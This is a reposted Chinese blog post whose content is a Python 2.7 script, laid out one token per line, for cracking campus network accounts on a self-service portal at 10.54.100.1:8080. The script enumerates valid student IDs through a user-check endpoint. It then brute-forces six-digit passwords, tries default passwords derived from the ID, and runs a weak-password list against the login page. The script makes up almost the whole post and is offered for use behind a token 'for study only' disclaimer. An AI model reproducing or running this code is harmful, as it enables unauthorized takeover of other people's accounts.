环境:Python 2.7
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
|
#!/usr/bin/env python
#coding=utf8
print
"+"
*
50
print
u
"功能:简单破解校园网账号"
print
u
"微信公众号:电脑趣事"
print
u
"仅供学习交流使用,严禁违法犯罪,否则后果自负"
print
"+"
*
50
import
httplib
import
urllib
import
re
username
=
[]
httpClient
=
None
If_password
=
[
000000
,
123456
,
123123
,
456456
,
789789
,
110110
,
110120
,
111111
,
222222
,
333333
,
444444
,
555555
,
666666
,
777777
,
888888
,
999999
,
5201314
]
def
Determine():
nj
=
int
(
raw_input
(
"please select a class 15,16,17:"
).strip())
start
=
int
(
raw_input
(
"please input start(Prompt:1234):"
).strip())
end
=
int
(
raw_input
(
"please input end(Prompt:5678):"
).strip())
if
(end <
=
start
or
(nj !
=
15
and
nj !
=
16
and
nj!
=
17
)):
print
u
"输入有误,请重新选择"
print
'='
*
50
menu()
exit()
else
:
print
"please wait a moment "
#构造学号
for
i
in
range
(start,end):
for
j
in
range
(
0
,
100
):
key_numer
=
int
(
str
(nj)
+
str
(i).zfill(
4
)
+
str
(j).zfill(
3
))
try
:
params
=
urllib.urlencode({
'key'
: key_numer})
headers
=
{
"Content-type"
:
"application/x-www-form-urlencoded"
,
"Accept"
:
"text/plain"
}
httpClient
=
httplib.HTTPConnection(
"10.54.100.1"
,
8080
, timeout
=
30
)
httpClient.request(
"POST"
,
"/selfservice/module/userself/web/userself_reg_ajax.jsf?methodName=regUserinfoBean.checkUser"
, params, headers)
response
=
httpClient.getresponse()
right_or_wrong
=
response.read()
#正则和判断
zhengze
=
re.findall( r
'false'
,right_or_wrong , re.M|re.I)
if
len
(zhengze)
=
=
1
:
username.append(key_numer)
except
Exception, e:
print
e
finally
:
if
httpClient:
httpClient.close()
print
"."
*
50
print
u
"在这个范围内已开通的账号有:"
print
""
print
username
print
"."
*
50
return
username
def
Connect(UserName,PassWord):
global
a
try
:
params
=
urllib.urlencode({
'name'
: UserName,
'password'
:PassWord})
headers
=
{
"Content-type"
:
"application/x-www-form-urlencoded"
,
"Accept"
:
"text/plain"
}
httpClient
=
httplib.HTTPConnection(
"10.54.100.1"
,
8080
, timeout
=
30
)
httpClient.request(
"POST"
,
"/selfservice/module/scgroup/web/login_judge.jsf"
, params, headers)
response
=
httpClient.getresponse()
right_or_wrong
=
response.read()
pipei
=
re.findall(r
'errorMsg'
, right_or_wrong, re.M|re.I)
if
len
(pipei)
=
=
1
:
a
=
0
#判断是否爆破出来的标记
pass
else
:
print
u
"账号:%s\000\000密码:%s"
%
(UserName,PassWord)
a
=
1
except
Exception, e:
print
e
finally
:
if
httpClient:
httpClient.close()
return
a
def
yanzheng():
UserName
=
str
(
raw_input
(
"please select a username input:"
).strip())
for
i
in
range
(
0
,
1000000
):
PassWord
=
str
(i).zfill(
6
)
Connect(UserName,PassWord)
if
a
=
=
1
:
break
else
:
pass
def
Default_password_single():
UserName
=
str
(
raw_input
(
"please select a username input:"
).strip())
PassWord
=
UserName[
3
:
10
]
Connect(UserName,PassWord)
if
a
=
=
0
:
PassWord
=
'123456'
Connect(UserName,PassWord)
if
a
=
=
0
:
print
u
"已经查找完成"
def
Default_password_not_single():
print
"please wait a moment"
for
i
in
range
(
0
,
len
(username)):
UserName
=
str
(username[i])
PassWord
=
UserName[
3
:
10
]
Connect(UserName,PassWord)
if
a
=
=
0
:
PassWord
=
'123456'
Connect(UserName,PassWord)
if
(i
=
=
len
(username)
-
1
and
a
=
=
0
):
print
u
"已经查找完成"
def
if_password():
print
"please wait a moment"
for
i
in
range
(
0
,
len
(username)):
UserName
=
str
(username[i])
for
j
in
range
(
0
,
len
(If_password)):
PassWord
=
If_password[j]
Connect(UserName,PassWord)
if
(i
=
=
len
(username)
-
1
and
j
=
=
len
(If_password)
-
1
and
a
=
=
0
):
print
u
"已经查找完毕"
def
menu():
print
u
"欢迎大家关注微信公众号:“电脑趣事”,请选择菜单"
while
True
:
print
"*"
*
50
print
u
"\t(1) 查看已经注册的账号"
print
u
"\t(2) 简单的爆破"
print
u
"\t(3) 默认密码单个查询"
print
u
"\t(4) 默认密码批量查询"
print
u
"\t(5) 弱口令爆破"
print
"*"
*
50
choices
=
raw_input
(
"Please choices:"
).strip()
if
len
(choices)
=
=
0
:
continue
if
choices
=
=
'1'
:
Determine()
elif
choices
=
=
'2'
:
yanzheng()
elif
choices
=
=
'3'
:
Default_password_single()
elif
choices
=
=
'4'
:
Default_password_not_single()
elif
choices
=
=
'5'
:
if_password()
else
:
print
u
"请注意账号安全!"
exit()
if
__name__
=
=
'__main__'
:
menu()
|
微信公众号
本文转自 天道酬勤VIP 51CTO博客,原文链接:http://blog.51cto.com/tdcqvip/1973967